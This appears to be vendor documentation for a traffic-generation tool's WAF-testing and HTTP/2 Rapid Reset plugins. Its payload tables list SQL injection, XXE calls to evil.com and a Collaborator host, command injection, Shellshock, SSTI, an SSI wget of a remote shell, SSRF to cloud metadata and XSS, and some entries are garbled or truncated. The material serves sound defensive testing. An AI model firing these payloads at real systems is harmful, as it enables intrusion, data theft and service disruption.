Skip to main content

WAF

The WAF plugin generates web traffic containing selected vulnerability patterns.

The plugin includes the following settings:

  1. Sources — the selected agent, interfaces, and MAC addresses from which the agent sends and receives traffic. Table 20 describes these settings.

Table 20 — Sources settings

NameDescriptionValue
AgentAgent that sends and receives traffic.Select an agent from the agent list
Network interfaceAgent network interface that sends and receives traffic.Select an interface from the interface list
NetworkSelected Network object whose settings are used to send traffic. When multiple objects are selected, adjust their weights to balance packet distribution.Select a Network object and set its weight; by default, packets are distributed evenly
  1. Targets — select the object to which traffic is sent; see Networks. Table 21 describes these settings.

Table 21 — Targets settings

NameDescriptionValue
TargetSelected Network object whose settings are used when sending traffic to the target.Select a Network object
  1. IP header (L3) — IP header settings at L3 in the TCP/IP stack. Table 22 describes these settings.

Table 22 — IP header (L3) settings

NameDescriptionValue
TTL (Time to Live)Maximum number of routers (hops) that a packet can traverse before it is discarded.Enter a number (default: 128)
ToS (Type of Service)DSCP is an IP header field used to determine traffic priority and handling.Enter a number (default DSCP: 7)
ToS (Type of Service)ECN allows routers to notify endpoints about congestion without dropping packets.Select 00 (Non-ECT), 01 (ECT(1)), 10 (ECT(0)), or 11 (CE)
  1. TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 23 describes these settings.

Table 23 — TCP header (L4) settings

NameDescriptionValue
Max. Segment SizeMaximum amount of data carried in one TCP segment.Enter a number (default: 1460)
WS (IP Options)TCP Window Scale increases the window available for flow control.Enter a number (default: 64)
Window SizeAmount of TCP data sent before an acknowledgment is required.Enter a number (default: 256)
  1. TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 24 describes these settings.

Table 24 — TCP header (L4) settings

NameDescriptionValue
Max. Segment SizeMaximum amount of data carried in one TCP segment.Enter a number (default: 1460)
WS (IP Options)TCP Window Scale increases the window available for flow control.Enter a number (default: 64)
Window SizeAmount of TCP data sent before an acknowledgment is required.Enter a number (default: 256)
  1. HTTP settings — HTTP header settings at L6–L7 in the TCP/IP stack. Table 25 describes these settings.

Table 25 — HTTP settings

NameDescriptionValue
HTTPSDetermines whether HTTPS is used for secure data transfer.Yes / No; use the toggle
TLS versionTLS protocol version used to secure data transfer. Available when HTTPS is enabled.Select TLS v1.2 or TLS v1.3
HTTP versionHTTP protocol version used for data transfer.Select HTTP 1.1 or HTTP 2.0
User-AgentHeader identifying the client application and operating system.Enter a value. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36. ${userAgent} selects a random valid value from the web-interface list for each request
  1. WAF modules — predefined malicious requests organized into the following test groups:

Basic WAF testing (see Table 26)

Table 26 — Basic WAF testing settings

NameDescriptionValue
Broken Access ControlRequest to a restricted path(GET /admin/delete\_user?id=1)
Injection URL (SQLi)SQL in the URL?id=1+union+select+1,2,3--
Injection JSON (SOLi)SQL in JSON({“user”: {“$ne”: null}})
Injection (Command)OS Command(GET /?id=system(cd /var/jet && make &\> /dev/null);)
Insecure DesingJSON logic({“action”: “makeAdmin”, “user”: “guest”})
Security MisconfigRequest to .git(Get /.git/config)
Outdated ComponentsVulnerable WordPress pluginGET /wp-content/plugins/revslider/temp/update\_extract/revslider/
Auth FailuresForged token(Cookie: auth\_token=invalid)
Data IntegrityForged JavaScript(GET /cdn/js/app.js?v=999999999)
Path TraversalFile traversal(GET /?home=/ ../ ../ ../ ../ ../)
SSRFRequest to AWS instance metadata({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})`
XSS: BasicBasic XSS(<script\>alert(xss)</script>)
XSS: ObfuscatedObfuscated XSS(\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>)
Bypass: SQLi with URL-encodingURL-encoded SQLi( q=%27%20OR%201 %3D1-)
Evasion: Chunked EncodingChunked Encoding(Transfer-Encoging: chunked \+ encoded payloag)

Advanced WAF testing

SQLi Advanced (see Table 27)

Generates SQL injection variants ranging from simple UNION SELECT payloads to obfuscated and filter-bypass attacks, including blind and time-based SQLi. Use it to test resistance to SQL filter evasion.

Table 27 — SQLi Advanced payloads

NameValue
Basic UNOIN SELECT/?id=1+union+select+1,2,3--
Comment-obfuscated UNION/?id=1+un/\*\*/ion+se/\*\*lect+1,2,3--
Case-mised UNION/?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3--
Double UNION-SELECT bypass/?id=1+UNunionION+SEselectLECT+1,2,3--
Vertical tab separation/?id=1+uni%0bon+se%0blect+1,2,3--
Division error + hex payload/?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user
Massive hex payload/?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10
MySQL table dump/?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/
Hex-encoded table/?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/
Compact data extraction/?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/
XP_CMDSHELL/?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \--
LPAD function'/id/1/\*\*/
Vertical tab LPAD/id/1%0b
Double-encoded UNION/?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users--
Current_user/?id=0%20div%201%20union%20select%201,2,current\_user
MySQL-specific UNION/?id=1/\*\!UnIoN\*/SeLecT+1,2,3--
Concat table names/?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()--
Query stacking 1/?q=select name\&q=password from users
Query stacking 2/?q=select name,password from users
Fragmented query/?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users
Version concat/?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user())
Column enum/?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\*
Full system info/?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
Subquery/?p=( ( SELECT @a ) OR 'b' ) \--
Function bypass/?p=( (SELECT 'a' ) OR COS ( 'b') ) \--
Version check/?p=-1' or 1=@@version \--
Char-based version/?p=3520 AND (version() like char(51,46,50,51,46,53,52))
Limit abuse/?p=1' union (select 's' from users limit 1,1)
Version 2/?p=-001 union select 1,2,3,4,5,version(),7,8,9,10
System user/?p=-1 or 1=(select system\_user)--
Char alert/?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\*
Substring/?p=22 AND SUBSTRING((y()),1,1)=x/\*
Benchmark/?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
Nested benchmark/?p=)) and 0=benchmark(3000000,MD5(1))%20--
Waitfor delay/?p=),NULL)%20waitfor%20delay%20'0:0:20'%20--
Nested sleep/?p=,(select \* from (select(sleep(10)))a)
JSON extract/?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055
JSON array/?p=123 AND JSON\_ARRAY\_LENGTH("\[\]") \<= 294
JSON keys/?p=123") OR JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(4024=4024,1))),0x7178717a71)) USING utf8))) AND ("xWuM" LIKE "xWuM
Negative float/?p="union select \-7431.1, name, @aaa from u\_base--w-
Float compare/?p=or 123.22=123.22
Delay syntax/?p= waitfor delay '00:00:10'--
Nested sleep 2/?p=(select(0)from(select(sleep(15)))v)/\*'+(select(0)from(select(sleep(15)))v)+'%22+(select(0)from(select(sleep(15)))v)+%22\*/
JSON extract 2/?p=-1134') OR JSON\_EXTRACT('{\\"\\"aKER\\"\\": 9648}', '$.aKER') \= 9648\*7799 AND ('QlYa' LIKE 'QlYa
JSON depth/?p=123) AND 12=12 AND JSON\_DEPTH('{}') \!= 2521
ELT function/?p=123) AND ELT(5287=5287,5480) AND JSON\_ARRAY\_LENGTH('\[\]') \<= 2333
JSON keys 2/?p=123 AND JSON\_KEYS((SELECT CONVERT((SELECT CONCAT(0x7162766a71,(SELECT (ELT(1141=1141,1))),0x7178717a71)) USING utf8)))
JSON length/?p=123) AND (SELECT 'eNOW')='FsQu' AND JSON\_LENGTH('{}') \<= 9779

XXE Advanced (see Table 28)

Tests XML parsers with payloads that can disclose file contents, initiate network connections, or bypass restrictions.

Table 28 — XXE Advanced payloads

NameValue
External entity file read\<?xml version="1.0"?\>\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;file:///etc/passwd'\>\]\>\<root\>\&test;\</root\>
Base64 data scheme attack\<\!DOCTYPE test \[ \<\!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"\> %init; \]\>\<foo/\>
Remote DTD inclusion\<?xml version="1.0" encoding="ISO-8859-1"?\>\<\!DOCTYPE foo \[\<\!ELEMENT foo ANY \>\<\!ENTITY % xxe SYSTEM "http://evil.com/secret\_pass.txt" \>\]\>\<foo\>\&xxe;\</foo\> 
Collaborator-based SSRF\<\!DOCTYPE root \[\<\!ENTITY test SYSTEM '\]\>\&test;http://h3l9aaaaz81tmq5ztaaaaaa.burpcollaborator.net'\>\]\>\<root\>\&test;\</root\> 

Command Injection Advanced (see Table 29)

Tests whether request parameters can execute arbitrary operating-system commands. Payloads cover both POSIX and Windows environments.

Table 29 — Command Injection Advanced payloads

NameValue
SQL-to-OS pivot/?id=10 and 1=0/(select top 1 table\_name from information\_schema.tables)
Obfuscated SQL-to-OS/?id=10 a%nd 1=0/(se%lect top 1 ta%ble\_name fr%om info%rmation\_schema.tables)
XPCMDSHELL User CreationCODEBLOCK2\_
Direct XPCMDSHELL CallCODEBLOCK3\_
Bracket Obfuscation/?xp\[cmdshell
Basic Command Chaining/?a=; ls
Newline Injection/?a=%0a ls
Subshell Execution/?a=$(ls)
Single Quote Escape/?a='ls'
Ampersand Separation/?a=& ls
URL-encoded Ampersand/?a=%26 ls
Double Ampersand/?a=1 && ls
URL-encoded Double Ampersand/?a=%26%26 ls
Pipe Separation/?a=
Double Pipe/?a=
Path Fragmentation/?a= '/b'i'n/l's'
Backslash Obfuscation/?a= /b\\\\in/l\\\\s
Variable Substitution/?a=cat$a /etc\#$a/passwd$a

File Injection Advanced (see Table 30)

Tests injection through file paths and URI schemes such as php://, file://, and zip://, targeting sensitive data or executable files.

Table 30 — File Injection Advanced payloads

NameValue
Basic Directory Traversal/?file=../bla.txt
Encoded Dot-Dot-Slash/?file=.%./bla.txt
PHP Filter Exploit via XML Entity/?a=\<\!ENTITY%20bin%20PUBLIC%20"php://filter/read=convert.%20base64-encode/resource=/path/to/binary/file"\>
Basic File Protocol/?p=file=/etc/passwd
File URI Scheme?p=file:///etc/passwd
PHP Base64 Filter/?p=php://filter/convert.base64-encode/resource=../../../../../etc/passwd
PHP Zlib Compression Filter/?p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
Kubernetes Secrets via IPv6/?p=file://0000::001/var/run/secrets/kubernetes.io/serviceaccount

XML Injection Advanced (see Table 31)

Tests how the system processes user-supplied XML, including cases that can trigger parsing errors or disclose data.

Table 31 — XML Injection Advanced payloads

NameValue
XML Parser Logic Bypass/?test\[1=2test\_ \--

Path Traversal Advanced (see Table 32)

Tests paths such as ../../etc/passwd and their obfuscated variants to detect access to protected system files.

Table 32 — Path Traversal Advanced payloads

NameValue
Windows Path/?p=.../.../WINDOWS/win.ini
Null Byte Termination/?p=../../../../etc/passwd%00
JPG Null Byte/?p=../../../../etc/passwd%00jpg
Query Param Bypass/?p=../../../../etc/passwd?
Double Encoding/?p=%252e%252e%252fetc%252fpasswd
Double Encoded Null/?p=%252e%252e%252fetc%252fpasswd%00
Nested Slashes/?p=....//....//etc/passwd
Excessive Slashes/?p=..///////..////..//////etc/passwd
Backslash Bypass/?p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
URL Encoded Slash/?p=..%2f..%2f..%2f..%2fetc%2fpasswd
Dot Encoding/?p=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Triple Encoding/?p=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
Backslash Encoding/?p=..%255c..%255c..%255c..%255cetc%255cpasswd
Unicode Bypass/?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Dot Overload/?p=%252e%252e%252e%252e%252e%252eetcpasswd'
C1 Byte Bypass/?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd

UNC Path Traversal Advanced (see Table 33)

Uses paths such as \\host\\c$\\windows\\win.ini to test nonstandard access to local or remote system resources.

Table 33 — UNC Path Traversal Advanced payloads

NameValue
IPv6 UNC Path/?p=0::001c$windowswin.ini
Registry Access/?p=::1c$usersdefault\\ntuser.dat
Localhost UNC/?p=localhostc$windowswin.ini
Long Path Bypass/?p=file:////////////////////////c

RCE Advanced (see Table 34)

Emulates attacks such as Shellshock, PHP/JavaScript injection, and filter bypasses that target arbitrary code execution on the server.

Table 34 — RCE Advanced payloads

NameValue
ShellShock Exploit/?p=() { :; }; echo ; /bin/bash \-c 'cat /etc/passwd'
PHP Short Tag/?p=\<?=$\_POST\[00\]?\>
Command Concatenation/?p=; cat /et'c/pa's's'wd
IP-based Execution/?p=cmd=127.0.0.1 && ls /etc
String Reversal/?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'
Variable Obfuscation/?p=cat$IFS$9${PWD\[a-z\]\*}e\*c${PWD\[a−za-z\]\*}p?ss??

GraphQL Advanced (see Table 35)

Sends unusual, deeply nested, and mutated GraphQL requests to reveal gaps in validation and type checking.

Table 35 — GraphQL Advanced payloads

NameValue
Basic Schema Extraction/?query={ \_\_schema { types { name } } }
Deep Type Introspection/?query={\_\_schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on \_\_Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on \_\_InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on \_\_Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

XSS Advanced (see Table 36)

Tests whether JavaScript can be injected into a web page using payloads for DOM-based, reflected, and stored XSS.

Table 36 — XSS Advanced payloads

NameValue
Body Onload/?q=\<body onload=alert('test1')\>
Mouseover Event/?q=\<b onmouseover=alert('Wufff\!')\>click me\!\</b\>
Image Error/?q=\<img/src=x/onerror=xxx
Wheel Event/?q="onwheel=alert(111)
Prototype Pollution/?q=?\_\_proto\_\_\[innerHTMLinnerHTML\]=\<img/src/onerror%3dalert(1)\>
Closure Base Path/?q=?\_\_proto\_\_\[CLOSURE_BASE_PATHCLOSURE\_BASE\_PATH\]=data:,alert(1)//
Vue.js Exploit/?q=\_\_proto\_\_\[v−ifv-if\]=\_c.export constructor('alert(1)')()
SVG MIME Abuse/?q=sometext\<svg onload=alert(document.domain)\>?mimeType=text/html
SVG Short/?q='\>\<svg/onload=alertxss\>
Exception Handler/?q="\])}``catch(e){if(\!this.x)alert(document.domain),this.x=1}//
Self XSS/?q="));if(\!self.x)self.x=\!alert(document.domain)}``catch(e){}//
Image Error 2/?q=\<img src=x onerror=alert(document.domain)\>/all
JavaScript Pseudo/?q=javascript:setInterval('ale'+'rt(document.domain)')
Map Confirm/?q="Onclick="(\[11\].map(confirm))
Base64 Image/?q=\<img\\nsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\\nonload=alert(1)\>
Autofocus Bypass/?q=\\\\"autofocus=alert(1)//
External Entity/?a=\<\!ENTITY%20pay%20SYSTEM%20"http://example.com/payload.xml"\>
Doctype Short/?a=\<\!DOCTYPE :. SYTEM "http://"
Complex Doctype/?a=\<\!DOCTYPE :\_-\_: SYTEM "http://"

SSRF Advanced (see Table 37)

Tests whether the server can be induced to issue HTTP requests to internal services, metadata APIs, or external addresses.

Table 37 — SSRF Advanced payloads

NameValue
Cloud Metadata/?q=https://somehost/metadata/instance
Telnet IPv4/?q=telnet://2852039166/
IPv6 Transition/?q=http://\[::ffff:a9fe:a9fe\]/
AWS Metadata/?q=http://\[0:0:0:0:0:ffff:169.254.169.254\]/latest/meta-data/
OpenStack Metadata/?q=http://169.254.169.254/openstack
Octal Encoding/?q=http://0251.00376.000251.0000376/
Shortened IP/?q=http://0251.254.169.254
Localhost/?q=http://0.0.0.0:80
Gopher Protocol/?q=gopher://0.0.0.0:443
SSH Port/?q=http://0.0.0.0:22
FTP IPv4/?q=ftp://3232235521/
Short Port/?q=http://0:8080/
Minimal URL/?q=http://0/
Link-Local/?q=http://169.254.169.254
IMAP/?q=imap://2130706433
Wildcard IPv6/?q=http://\[::::\]
Compressed IPv6/?q=http://0000::1
Unicode Gopher/?q=gopher://%EF%BD%9A%EF%BD%9A%EF%BD%9A
TFTP Unicode/?q=tftp://%F0%9D%9F%8E%F0%9D%9F%8E%F0%9D%9F%8E

SSI/SSTI Advanced (see Table 38)

Tests template engines such as Jinja2 and Freemarker and SSI directives, targeting command execution or file reads through template logic.

Table 38 — SSI/SSTI Advanced payloads

NameValue
SSI Command/?q=\<\!--\#exec cmd="wget http://some\_host/shell.txt
SSI List Dir/?q=\<\!--\#exec cmd="ls" \--\>
SSI Windows Dir/?q=\<\!--\#exec cmd="dir" \--\>
Java Resource/?q=${class.getResource("./test/test.res").getContent()}
Twig RCE/?q={{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}}
Freemarker RCE/?q=\<\#assign ex \= "freemarker.template.utility.Execute"?new()\>${ ex("id")}
Python Attribute/?q={{request
  1. Session settings — settings that control sessions for the current plugin. Table 39 describes these settings.

Table 39 — Session settings

NameDescriptionValue
Total sessionsMaximum number of concurrent active sessions established by the plugin.Enter a number
Reconnect timeoutNumber of seconds for which Peresvet ST attempts to restore an interrupted connection. The session closes if it cannot be restored within this period.Enter a number
Connections per secondMaximum number of new sessions established per second.Enter a number
Max. streams (per session)Maximum data streams active in one session. Available only when H2 is enabled under HTTP settings.Enter a number
Unlimited toggleEnables maximum performance without limiting requests per second.On/off
Requests per second (per session)Maximum requests processed per second for one session or stream.Enter a number
Request intervalDelay between batches of the configured number of requests per second.Enter a number
  1. Duration — the plugin runtime. Table 40 describes this setting.

Table 40 — Duration setting

NameDescriptionValue
Generation durationTraffic generation time.Enter a number and select seconds, minutes, or hours

HTTP/2 Rapid Reset

HTTP/2 Rapid Reset generates HTTP/2 web traffic that rapidly opens and resets streams.

The plugin includes the following settings:

  1. Sources — the selected agent, interfaces, and MAC addresses from which the agent sends and receives traffic. Table 41 describes these settings.

Table 41 — Sources settings

NameDescriptionValue
AgentAgent that sends and receives traffic.Select an agent from the agent list
Network interfaceAgent network interface that sends and receives traffic.Select an interface from the interface list
NetworkSelected Network object whose settings are used to send traffic. When multiple objects are selected, adjust their weights to balance packet distribution.Select a Network object and set its weight; by default, packets are distributed evenly
  1. Targets — select the object to which traffic is sent; see Networks. Table 42 describes these settings.

Table 42 — Targets settings

NameDescriptionValue
TargetSelected Network object whose settings are used when sending traffic to the target.Select a Network object
  1. IP header (L3) — IP header settings at L3 in the TCP/IP stack. Table 43 describes these settings.

Table 43 — IP header (L3) settings

NameDescriptionValue
TTL (Time to Live)Maximum number of routers (hops) that a packet can traverse before it is discarded.Enter a number (default: 128)
ToS (Type of Service)DSCP is an IP header field used to determine traffic priority and handling.Enter a number (default DSCP: 7)
ToS (Type of Service)ECN allows routers to notify endpoints about congestion without dropping packets.Select 00 (Non-ECT), 01 (ECT(1)), 10 (ECT(0)), or 11 (CE)
  1. TCP header (L4) — TCP header settings at L4 in the TCP/IP stack. Table 44 describes these settings.

Table 44 — TCP header (L4) settings

NameDescriptionValue
Max. Segment SizeMaximum amount of data carried in one TCP segment.Enter a number (default: 1460)
WS (IP Options)TCP Window Scale increases the window available for flow control.Enter a number (default: 64)
Window SizeAmount of TCP data sent before an acknowledgment is required.Enter a number (default: 256)
  1. HTTP settings — HTTP header settings at L6–L7 in the TCP/IP stack. Table 45 describes these settings.

Table 45 — HTTP settings

NameDescriptionValue
HTTPSDetermines whether HTTPS is used for secure data transfer.Yes / No; use the toggle
TLS versionTLS protocol version used to secure data transfer. Available when HTTPS is enabled.Select TLS v1.2 or TLS v1.3
HTTP versionHTTP protocol version used for data transfer.Select HTTP 1.1 or HTTP 2.0
User-AgentHeader identifying the client application and operating system.Enter a value. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36. ${userAgent} selects a random valid value from the web-interface list for each request
PathPath to the requested resource after the domain name.Enter a path (default: /)
HTTP methodMethod used to request the server resource.Select GET, POST, PUT, PATCH, or DELETE
HTTP statusFollows redirects returned with 3xx responses to the target in the Location header.On/off
HTML Meta RefreshFollows HTML refresh meta-tag redirects, including their configured delay, to the target in the content attribute.On/off
DepthMaximum number of redirects in one TCP session.Enter a value (default: 20)
Query parametersParameters passed in the URL after ?.Click Add parameters, then enter a value. ${str(length)} generates a random character sequence of the specified length, for example ${str(16)}. ${strMinMax(min\_length,max\_length)} generates a random character sequence within the specified length range, for example ${strMinMax(16,24)}. ${hex(length)} generates a random hexadecimal sequence of the specified length, for example ${hex(16)}. ${hexMinMax(min\_length,max\_length)} generates a random hexadecimal sequence within the specified length range, for example ${hexMinMax(16,24)}. ${email} generates a valid email address with a random username and domain. ${login} generates a valid username. ${password} generates a valid password.
HeadersAdditional metadata sent with the HTTP request.Click Add parameters, then enter a value. ${str(length)} generates a random character sequence of the specified length, for example ${str(16)}. ${strMinMax(min\_length,max\_length)} generates a random character sequence within the specified length range, for example ${strMinMax(16,24)}. ${hex(length)} generates a random hexadecimal sequence of the specified length, for example ${hex(16)}. ${hexMinMax(min\_length,max\_length)} generates a random hexadecimal sequence within the specified length range, for example ${hexMinMax(16,24)}. ${email} generates a valid email address with a random username and domain. ${login} generates a valid username. ${password} generates a valid password.
  1. Session settings — settings that control sessions for the current plugin. Table 46 describes these settings.

Table 46 — Session settings

NameDescriptionValue
Total sessionsMaximum number of concurrent active sessions established by the plugin.Enter a number
Reconnect timeoutNumber of seconds for which Peresvet ST attempts to restore an interrupted connection. The session closes if it cannot be restored within this period.Enter a number
Connections per secondMaximum number of new sessions established per second.Enter a number
Max. streams (per session)Maximum data streams active in one session. Available only when H2 is enabled under HTTP settings.Enter a number
Unlimited toggleEnables maximum performance without limiting requests per second.On/off
Requests per second (per session)Maximum requests processed per second for one session or stream.Enter a number
Request intervalDelay between batches of the configured number of requests per second.Enter a number
  1. Duration — the plugin runtime. Table 47 describes this setting.

Table 47 — Duration setting

NameDescriptionValue
Generation durationTraffic generation time.Enter a number and select seconds, minutes, or hours